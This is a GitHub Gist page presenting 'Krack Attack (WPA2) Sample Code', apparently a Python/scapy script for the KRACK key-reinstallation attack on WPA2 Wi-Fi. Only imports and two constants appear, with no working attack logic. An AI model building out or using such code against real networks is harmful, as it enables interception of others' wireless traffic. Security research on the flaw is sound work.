Skip to content

Instantly share code, notes, and snippets.

@xaitax
xaitax / Krack Attack (WPA2) Sample Code
Last active May 20, 2021 17:23
Krack Attack (WPA2) Sample Code
#!/usr/bin/env python2
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import sys, socket, struct, time, subprocess, atexit, select
from datetime import datetime
IEEE_TLV_TYPE_RSN = 48
IEEE_TLV_TYPE_FT = 55